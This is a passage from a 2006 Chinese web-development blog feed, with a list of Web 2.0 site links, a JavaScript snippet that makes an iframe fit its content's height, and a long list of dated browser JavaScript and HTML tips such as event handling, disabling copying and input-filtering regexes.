title=http://www.webeye.net.cn href="http://www.webeye.net.cn/" target=_blank>http://www.webeye.net.cn</A> <BR>中国交友中心 <A title=http://www.96333.com? href="http://www.96333.com/?" target=_blank>http://www.96333.com?</A> <BR>博易 <A title=http://www.anyp.cn/ href="http://www.anyp.cn/" target=_blank>http://www.anyp.cn/</A> <BR>中国114黄页 <A title=http://www.114chn.com href="http://www.114chn.com/" target=_blank>http://www.114chn.com</A> <BR>TOM博客 <A title=http://blog.tom.com href="http://blog.tom.com/" target=_blank>http://blog.tom.com</A> <BR>圈网你我他 <A title=http://www.niwota.com href="http://www.niwota.com/" target=_blank>http://www.niwota.com</A> <BR>94pop流沙歌秀 <A title=http://www.94pop.com href="http://www.94pop.com/" target=_blank>http://www.94pop.com</A> <BR>本地通 <A title=http://www.bodoto.com href="http://www.bodoto.com/" target=_blank>http://www.bodoto.com</A> <BR>爬狗 <A title=http://www.pagou.com href="http://www.pagou.com/" target=_blank>http://www.pagou.com</A> <BR>歪酷博客 <A title=http://www.yculblog.com href="http://www.yculblog.com/" target=_blank>http://www.yculblog.com</A> <BR>天方有声图书 <A title=http://www.tingbook.com href="http://www.tingbook.com/" target=_blank>http://www.tingbook.com</A> <BR>中国博乐网 <A title=http://www.boloo.com href="http://www.boloo.com/" target=_blank>http://www.boloo.com</A> <BR>小蜜蜂 <A title=http://www.com.tv href="http://www.com.tv/" target=_blank>http://www.com.tv</A> <BR>播客宝典 <A title=http://www.hopesome.com href="http://www.hopesome.com/" target=_blank>http://www.hopesome.com</A> <BR>爱米网 <A title=http://www.aimi.cn href="http://www.aimi.cn/" target=_blank>http://www.aimi.cn</A> <BR>嘻哈哈 <A title=http://www.seehaha.com href="http://www.seehaha.com/" target=_blank>http://www.seehaha.com</A> <BR>人脉招聘网 <A title=http://www.rmzp.com href="http://www.rmzp.com/" target=_blank>http://www.rmzp.com</A> <BR>分类哥哥 <A title=http://www.fenleiGG.com href="http://www.fenleigg.com/" target=_blank>http://www.fenleiGG.com</A> <BR>Komoo <A title=http://www.komoo.com href="http://www.komoo.com/" target=_blank>http://www.komoo.com</A> <BR>碰碰网 <A title=http://www.pengpeng.com href="http://www.pengpeng.com" target=_blank>http://www.pengpeng.com</A> </P>
<P><BR>[img]http://www.cokoo.net/blog/uploads/200603/29_181022_web2_0_100logo2.png[/img]</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=253" /> 
	  <id>http://www.openx.cn/default.asp?id=253</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[JavaScript应用：Iframe自适应其加载的内容高度]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-04-04T18:02:34+08:00</updated>
	  <published>2006-04-04T18:02:34+08:00</published>
		  <summary type="html"><![CDATA[<P>main.htm:</P>
<P>&lt;html&gt;&nbsp; <BR>&nbsp;&nbsp;&nbsp; &lt;head&gt;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;meta&nbsp; http-equiv='Content-Type'&nbsp; content='text/html;&nbsp; charset=gb2312'&gt;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;meta&nbsp; name='author'&nbsp; content='F.R.Huang(meizz梅花雪)//www.meizz.com'&gt;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;title&gt;iframe自适应加载的页面高度&lt;/title&gt;&nbsp; <BR>&nbsp;&nbsp;&nbsp; &lt;/head&gt;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; &lt;body&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;iframe src="child.htm"&gt;&lt;/iframe&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;/body&gt;<BR>&lt;/html&gt;</P>
<P>child.htm:</P>
<P>&lt;html&gt;&nbsp; <BR>&lt;head&gt;&nbsp; <BR>&nbsp;&nbsp; &lt;meta&nbsp; http-equiv='Content-Type'&nbsp; content='text/html;&nbsp; charset=gb2312'&gt;&nbsp; <BR>&nbsp;&nbsp; &lt;meta&nbsp; name='author'&nbsp; content='F.R.Huang(meizz梅花雪)//www.meizz.com'&gt;&nbsp; <BR>&nbsp;&nbsp; &lt;title&gt;iframe&nbsp; 自适应其加载的网页(多浏览器兼容)&lt;/title&gt;&nbsp; <BR>&nbsp;&nbsp; &lt;script&nbsp; language=javascript&gt;<BR>&nbsp;&nbsp; function iframeAutoFit()<BR>&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(window!=parent)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;var a = parent.document.getElementsByTagName("IFRAME");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(var i=0; i&lt;a.length; i++) //author:meizz<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(a[i].contentWindow==window)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var h = document.body.scrollHeight;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(document.all) {h += 4;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(window.opera) {h += 1;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; a[i].style.height = h;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; catch (ex)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; alert("脚本无法跨域操作！");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp; }<BR>&nbsp;&nbsp; if(document.attachEvent)&nbsp; window.attachEvent("onload",&nbsp; iframeAutoFit);&nbsp; <BR>&nbsp;&nbsp; else&nbsp; window.addEventListener('load',&nbsp; iframeAutoFit,&nbsp; false);&nbsp; <BR>&nbsp;&nbsp; &lt;/script&gt;&nbsp; <BR>&lt;/head&gt;&nbsp; <BR>&lt;body&gt;&nbsp; <BR>&nbsp;&nbsp; &lt;div&nbsp; style="width:&nbsp; 200;&nbsp; height:&nbsp; 400;&nbsp; background-color:&nbsp; yellow"&gt;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; iframe&nbsp; 自适应其加载的网页(多浏览器兼容)&nbsp; <BR>&nbsp;&nbsp; &lt;/div&gt;&nbsp; <BR>&lt;/body&gt;&nbsp; <BR>&lt;/html&gt;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=251" /> 
	  <id>http://www.openx.cn/default.asp?id=251</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[javascript小技巧]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-04-04T15:06:09+08:00</updated>
	  <published>2006-04-04T15:06:09+08:00</published>
		  <summary type="html"><![CDATA[<UL>
<LI><FONT size=2><STRONG>事件源对象</STRONG> <BR>event.srcElement.tagName <BR>event.srcElement.type</FONT> 
<LI><FONT size=2><STRONG>捕获释放 <BR></STRONG>event.srcElement.setCapture();&nbsp; <BR>event.srcElement.releaseCapture();&nbsp; </FONT>
<LI><FONT size=2><STRONG>事件按键</STRONG> <BR>event.keyCode <BR>event.shiftKey <BR>event.altKey <BR>event.ctrlKey</FONT> 
<LI><FONT size=2><STRONG>事件返回值</STRONG> <BR>event.returnValue</FONT> 
<LI><FONT size=2><STRONG>鼠标位置 <BR></STRONG>event.x <BR>event.y</FONT> 
<LI><FONT size=2><STRONG>窗体活动元素 <BR></STRONG>document.activeElement</FONT> 
<LI><FONT size=2><STRONG>绑定事件</STRONG> <BR>document.captureEvents(Event.KEYDOWN);</FONT> 
<LI><FONT size=2><STRONG>访问窗体元素 <BR></STRONG>document.all("txt").focus(); <BR>document.all("txt").select();</FONT> 
<LI><FONT size=2><STRONG>窗体命令</STRONG> <BR>document.execCommand</FONT> 
<LI><FONT size=2><STRONG>窗体COOKIE <BR></STRONG>document.cookie</FONT> 
<LI><FONT size=2><STRONG>菜单事件</STRONG> <BR>document.oncontextmenu</FONT> 
<LI><FONT size=2><STRONG>创建元素 <BR></STRONG>document.createElement("SPAN");&nbsp; </FONT>
<LI><FONT size=2><STRONG>根据鼠标获得元素： <BR></STRONG>document.elementFromPoint(event.x,event.y).tagName=="TD <BR></FONT><FONT size=2>document.elementFromPoint(event.x,event.y).appendChild(ms)&nbsp; </FONT>
<LI><FONT size=2><STRONG>窗体图片</STRONG> <BR>document.images[索引]</FONT> 
<LI><FONT size=2><STRONG>窗体事件绑定 <BR></STRONG>document.onmousedown=scrollwindow;</FONT> 
<LI><FONT size=2><STRONG>元素</STRONG> <BR>document.窗体.elements[索引]</FONT> 
<LI><FONT size=2><STRONG>对象绑定事件 <BR></STRONG>document.all.xxx.detachEvent('onclick',a);</FONT> 
<LI><FONT size=2><STRONG>插件数目</STRONG> <BR>navigator.plugins</FONT> 
<LI><FONT size=2><STRONG>取变量类型 <BR></STRONG>typeof($js_libpath) == "undefined"</FONT> 
<LI><FONT size=2><STRONG>下拉框 <BR></STRONG></FONT><FONT size=2>下拉框.options[索引] <BR>下拉框.options.length</FONT> 
<LI><FONT size=2><STRONG>查找对象</STRONG> <BR>document.getElementsByName("r1"); <BR>document.getElementById(id); </FONT>
<LI><FONT size=2><STRONG>定时 <BR></STRONG>timer=setInterval('scrollwindow()',delay); <BR>clearInterval(timer);</FONT> 
<LI><FONT size=2><STRONG>UNCODE编码 <BR></STRONG>escape() ,unescape</FONT> 
<LI><FONT size=2><STRONG>父对象</STRONG> <BR>obj.parentElement(dhtml) <BR>obj.parentNode(dom)</FONT> 
<LI><FONT size=2><STRONG>交换表的行 <BR></STRONG>TableID.moveRow(2,1)</FONT><FONT size=2><STRONG> 
<LI><FONT size=2><STRONG>替换CSS</STRONG> <BR></FONT>document.all.csss.href = "a.css";<FONT size=2><STRONG> 
<LI><FONT size=2><STRONG>并排显示</STRONG> <BR></FONT>display:inline<FONT size=2> 
<LI><FONT size=2><STRONG>隐藏焦点 <BR></STRONG>hidefocus=true</FONT> 
<LI><FONT size=2><STRONG>根据宽度换行 <BR></STRONG></FONT>style="word-break:break-all"<FONT size=2> 
<LI><FONT size=2><STRONG>自动刷新 <BR></STRONG>&lt;meta HTTP-EQUIV="refresh" CONTENT="8;URL=http://c98.yeah.net"&gt;</FONT> 
<LI><FONT size=2><STRONG>简单邮件 <BR></STRONG>&lt;a&nbsp; href="</FONT><a href="http://www.openx.cn/mailto:aaa@bbb.com?subject=ccc&body=xxxyyy"><FONT size=2>mailto:aaa@bbb.com?subject=ccc&body=xxxyyy</FONT></A><FONT size=2>"&gt;&nbsp; </FONT>
<LI><FONT size=2><STRONG>快速转到位置 <BR></STRONG></FONT>obj.scrollIntoView(true)<FONT size=2> 
<LI><FONT size=2><STRONG>锚 <BR></STRONG>&lt;a name="first"&gt; <BR>&lt;a href="#first"&gt;anchors&lt;/a&gt;</FONT> 
<LI><FONT size=2><STRONG>网页传递参数 <BR></STRONG>location.search();</FONT> 
<LI><STRONG>可编辑 <BR></STRONG>obj.contenteditable=true 
<LI><FONT size=2><STRONG>执行菜单命令</STRONG> <BR>obj.execCommand</FONT> 
<LI><FONT size=2><STRONG>双字节字符</STRONG> <BR>/[^\x00-\xff]/ <BR>汉字 <BR>/[\u4e00-\u9fa5]/</FONT> 
<LI><STRONG>让英文字符串超出表格宽度自动换行</STRONG> <BR>word-wrap: break-word; word-break: break-all; 
<LI><STRONG>透明背景</STRONG><FONT size=2> <BR>&lt;IFRAME src="1.htm" width=300 height=180 allowtransparency&gt;&lt;/iframe&gt;</FONT> 
<LI><FONT size=2><STRONG>获得style内容 <BR></STRONG>obj.style.cssText</FONT> 
<LI><FONT size=2><STRONG>HTML标签</STRONG> <BR>document.documentElement.innerHTML</FONT> 
<LI><FONT size=2><STRONG>第一个style标签</STRONG> <BR>document.styleSheets[0]</FONT> 
<LI><FONT size=2><STRONG>style标签里的第一个样式</STRONG> <BR>document.styleSheets[0].rules[0]</FONT> 
<LI><STRONG>防止点击空链接时，页面往往重置到页首端。 <BR></STRONG>&lt;a href="javascript:function()"&gt;word&lt;/a&gt; 
<LI><STRONG>上一网页源</STRONG> <BR>asp: <BR>request.servervariables("HTTP_REFERER") <BR><FONT size=2>javascript: <BR>document.referrer </FONT>
<LI><FONT size=2><STRONG>释放内存 <BR></STRONG>CollectGarbage();</FONT> 
<LI><STRONG>禁止右键</STRONG> <BR>document.oncontextmenu = function() { return false;} 
<LI><FONT size=2><STRONG>禁止保存</STRONG> <BR>&lt;noscript&gt;&lt;iframe src="*.htm"&gt;&lt;/iframe&gt;&lt;/noscript&gt; </FONT>
<LI><FONT size=2><STRONG>禁止选取</STRONG>&lt;body&nbsp;oncontextmenu=<SPAN style="COLOR: #ff00ff">"return&nbsp;false"</SPAN>&nbsp;ondragstart=<SPAN style="COLOR: #ff00ff">"return&nbsp;false"</SPAN>&nbsp;onselectstart&nbsp;=<SPAN style="COLOR: #ff00ff">"return&nbsp;false"</SPAN>&nbsp;onselect=<SPAN style="COLOR: #ff00ff">"document.selection.empty()"</SPAN>&nbsp;oncopy=<SPAN style="COLOR: #ff00ff">"document.selection.empty()"</SPAN>&nbsp;onbeforecopy=<SPAN style="COLOR: #ff00ff">"return&nbsp;false"</SPAN>onmouseup=<SPAN style="COLOR: #ff00ff">"document.selection.empty()&gt;</SPAN><SPAN style="COLOR: #ff00ff">&nbsp;</SPAN></FONT> 
<LI><FONT size=2><STRONG>禁止粘贴</STRONG> <BR>&lt;input type=text onpaste="return false"&gt;</FONT> 
<LI><FONT size=2><STRONG>地址栏图标</STRONG> <BR>&lt;link rel="Shortcut Icon" href="favicon.ico"&gt; <BR>favicon.ico 名字最好不变16*16的16色,放虚拟目录根目录下</FONT> 
<LI><FONT size=2><STRONG>收藏栏图标</STRONG> <BR>&lt;link rel="Bookmark" href="favicon.ico"&gt; </FONT>
<LI><FONT size=2><STRONG>查看源码</STRONG> <BR>&lt;input type=button value=查看网页源代码 onclick="window.location = 'view-source:'+ 'http://www.csdn.net/'"&gt; </FONT>
<LI><FONT size=2><STRONG>关闭输入法</STRONG> <BR>&lt;input style="ime-mode:disabled"&gt; </FONT>
<LI><STRONG>自动全选</STRONG> <BR>&lt;input type=text name=text1 value="123" onfocus="this.select()"&gt; 
<LI><FONT size=2><STRONG>ENTER键可以让光标移到下一个输入框 <BR></STRONG>&lt;input onkeydown="if(event.keyCode==13)event.keyCode=9"&gt;</FONT> 
<LI><STRONG>文本框的默认值 <BR></STRONG>&lt;input type=text value="123" onfocus="alert(this.defaultValue)"&gt; 
<LI><STRONG>title换行 <BR></STRONG>obj.title = "123&#13sdfs&#32" 
<LI><FONT size=2><STRONG>获得时间所代表的微秒 <BR></STRONG>var n1 = new Date("2004-10-10".replace(/-/g, "\/")).getTime()</FONT> 
<LI><FONT size=2><STRONG>窗口是否关闭 <BR></STRONG>win.closed </FONT>
<LI><FONT size=2><STRONG>checkbox扁平 <BR></STRONG>&lt;input type=checkbox style="position: absolute; clip:rect(5px 15px 15px 5px)"&gt;&lt;br&gt;</FONT> 
<LI><STRONG>获取选中内容 <BR></STRONG>document.selection.createRange().duplicate().text 
<LI><STRONG>自动完成功能 <BR></STRONG>&lt;input&nbsp; type=text&nbsp; autocomplete=on&gt;打开该功能&nbsp; <BR>&lt;input&nbsp; type=text&nbsp; autocomplete=off&gt;关闭该功能&nbsp;&nbsp;&nbsp; 
<LI><FONT size=2><STRONG>窗口最大化</STRONG> <BR>&lt;body onload="window.resizeTo(window.screen.width - 4,window.screen.height-50);window.moveTo(-4,-4)"&gt;</FONT> 
<LI><FONT size=2><STRONG>无关闭按钮IE <BR></STRONG>window.open("aa.htm", "meizz", "fullscreen=7"); </FONT>
<LI><STRONG>统一编码/解码 <BR></STRONG>alert(decodeURIComponent(encodeURIComponent("http://你好.com?as= hehe"))) <BR>encodeURIComponent对":"、"/"、";" 和 "?"也编码 
<LI><STRONG>表格行指示 <BR></STRONG>&lt;tr onmouseover="this.bgColor='#f0f0f0'" onmouseout="this.bgColor='#ffffff'"&gt; 
<P><BR><STRONG>//各种尺寸</STRONG> </P>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n网页可见区域宽："</SPAN>+&nbsp;&nbsp;document.body.clientWidth;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n网页可见区域高："</SPAN>+&nbsp;&nbsp;document.body.clientHeight;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n网页可见区域高："</SPAN>+&nbsp;&nbsp;document.body.offsetWeight&nbsp;&nbsp;+<SPAN style="COLOR: #ff00ff">"&nbsp;&nbsp;(包括边线的宽)"</SPAN>;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n网页可见区域高："</SPAN>+&nbsp;&nbsp;document.body.offsetHeight&nbsp;&nbsp;+<SPAN style="COLOR: #ff00ff">"&nbsp;&nbsp;(包括边线的宽)"</SPAN>;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n网页正文全文宽："</SPAN>+&nbsp;&nbsp;document.body.scrollWidth;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n网页正文全文高："</SPAN>+&nbsp;&nbsp;document.body.scrollHeight;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n网页被卷去的高："</SPAN>+&nbsp;&nbsp;document.body.scrollTop;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n网页被卷去的左："</SPAN>+&nbsp;&nbsp;document.body.scrollLeft;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n网页正文部分上："</SPAN>+&nbsp;&nbsp;window.screenTop;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n网页正文部分左："</SPAN>+&nbsp;&nbsp;window.screenLeft;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n屏幕分辨率的高："</SPAN>+&nbsp;&nbsp;window.screen.height;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n屏幕分辨率的宽："</SPAN>+&nbsp;&nbsp;window.screen.width;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n屏幕可用工作区高度："</SPAN>+&nbsp;&nbsp;window.screen.availHeight;&nbsp;&nbsp; <BR>s&nbsp;&nbsp;+=&nbsp;&nbsp;<SPAN style="COLOR: #ff00ff">"\r\n屏幕可用工作区宽度："</SPAN>+&nbsp;&nbsp;window.screen.availWidth;&nbsp;&nbsp; </DIV></FONT></FONT></FONT></STRONG></FONT></STRONG></FONT></LI></UL>
<P><FONT size=2><STRONG>//过滤数字</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;input&nbsp;type=text&nbsp;onkeypress=<SPAN style="COLOR: #ff00ff">"return&nbsp;event.keyCode&gt;=48&&event.keyCode&lt;=57||(this.value.indexOf('.')&lt;0?event.keyCode==46:false)"</SPAN>&nbsp;onpaste=<SPAN style="COLOR: #ff00ff">"return&nbsp;!clipboardData.getData('text').match(/\D/)"</SPAN>&nbsp;ondragenter=<SPAN style="COLOR: #ff00ff">"return&nbsp;false"</SPAN>&gt; </DIV></FONT>
<P></P>
<P><FONT size=2><STRONG>//特殊用途</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;input&nbsp;type=button&nbsp;value=导入收藏夹&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"window.external.ImportExportFavorites(true,'http:<SPAN style="COLOR: #008000">//localhost');"</SPAN>&gt; </SPAN><BR>&lt;input&nbsp;type=button&nbsp;value=导出收藏夹&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"window.external.ImportExportFavorites(false,'http:<SPAN style="COLOR: #008000">//localhost');"</SPAN>&gt; </SPAN><BR>&lt;input&nbsp;type=button&nbsp;value=整理收藏夹&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"window.external.ShowBrowserUI('OrganizeFavorites',&nbsp;null)"</SPAN>&gt; <BR>&lt;input&nbsp;type=button&nbsp;value=语言设置&nbsp;&nbsp;&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"window.external.ShowBrowserUI('LanguageDialog',&nbsp;null)"</SPAN>&gt; <BR>&lt;input&nbsp;type=button&nbsp;value=加入收藏夹&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"window.external.AddFavorite('http:<SPAN style="COLOR: #008000">//www.google.com/',&nbsp;'google')"</SPAN>&gt; </SPAN><BR>&lt;input&nbsp;type=button&nbsp;value=加入到频道&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"window.external.addChannel('http:<SPAN style="COLOR: #008000">//www.google.com/')"</SPAN>&gt; </SPAN><BR>&lt;input&nbsp;type=button&nbsp;value=加入到频道&nbsp;onclick=<SPAN style="COLOR: #ff00ff">"window.external.showBrowserUI('PrivacySettings',null)"</SPAN>&gt; </DIV></FONT>
<P></P>
<P><FONT size=2><STRONG>//不缓存</STRONG> 
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">&lt;META&nbsp;HTTP-EQUIV=<SPAN style="COLOR: #ff00ff">"pragma"</SPAN>&nbsp;CONTENT=<SPAN style="COLOR: #ff00ff">"no-cache"</SPAN>&gt; <BR>&lt;META&nbsp;HTTP-EQUIV=<SPAN style="COLOR: #ff00ff">"Cache-Control"</SPAN>&nbsp;CONTENT=<SPAN style="COLOR: #ff00ff">"no-cache,&nbsp;must-revalidate"</SPAN>&gt; <BR>&lt;META&nbsp;HTTP-EQUIV=<SPAN style="COLOR: #ff00ff">"expires"</SPAN>&nbsp;CONTENT=<SPAN style="COLOR: #ff00ff">"0"</SPAN>&gt; </DIV>
<P></P></FONT>
<P></P>
<P><FONT size=2></FONT></P><BR><FONT size=2><STRONG>//正则匹配</STRONG></FONT> 
<P></P><FONT size=2>
<DIV style="BORDER-RIGHT: #8a8a8a 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #8a8a8a 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 12px; PADDING-BOTTOM: 4px; MARGIN: 4px; OVERFLOW: auto; BORDER-LEFT: #8a8a8a 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: #8a8a8a 1px solid; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #eeeeee">匹配中文字符的正则表达式：&nbsp;[\u4e00-\u9fa5] <BR>匹配双字节字符(包括汉字在内)：[^\x00-\xff] <BR>匹配空行的正则表达式：\n[\s|&nbsp;]*\r <BR>匹配HTML标记的正则表达式：/&lt;(.*)&gt;.*&lt;\/\1&gt;|&lt;(.*)&nbsp;\/&gt;/&nbsp; <BR>匹配首尾空格的正则表达式：(^\s*)|(\s*$)（像vbscript那样的trim函数） <BR>匹配Email地址的正则表达式：\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)* <BR>匹配网址URL的正则表达式：http:<SPAN style="COLOR: #008000">//([\w-]+\.)+[\w-]+(/[\w-&nbsp;./?%&=]*)? </SPAN><BR>以下是例子： <BR>利用正则表达式限制网页表单里的文本框输入内容： <BR>用正则表达式限制只能输入中文：onkeyup=<SPAN style="COLOR: #ff00ff">"value=value.replace(/[^\u4E00-\u9FA5]/g,'')"</SPAN>&nbsp;onbeforepaste=<SPAN style="COLOR: #ff00ff">"clipboardData.setData('text',clipboardData.getData('text').replace(/[^\u4E00-\u9FA5]/g,''))"</SPAN> <BR>1.用正则表达式限制只能输入全角字符：&nbsp;onkeyup=<SPAN style="COLOR: #ff00ff">"value=value.replace(/[^\uFF00-\uFFFF]/g,'')"</SPAN>&nbsp;onbeforepaste=<SPAN style="COLOR: #ff00ff">"clipboardData.setData('text',clipboardData.getData('text').replace(/[^\uFF00-\uFFFF]/g,''))"</SPAN> <BR>2.用正则表达式限制只能输入数字：onkeyup=<SPAN style="COLOR: #ff00ff">"value=value.replace(/[^\d]/g,'')&nbsp;"</SPAN>onbeforepaste=<SPAN style="COLOR: #ff00ff">"clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))"</SPAN> <BR>3.用正则表达式限制只能输入数字和英文：onkeyup=<SPAN style="COLOR: #ff00ff">"value=value.replace(/[\W]/g,'')&nbsp;"</SPAN>onbeforepaste=<SPAN style="COLOR: #ff00ff">"clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))"</SPAN> </DIV>
<P><FONT size=2><STRONG>//消除图像工具栏</STRONG> 
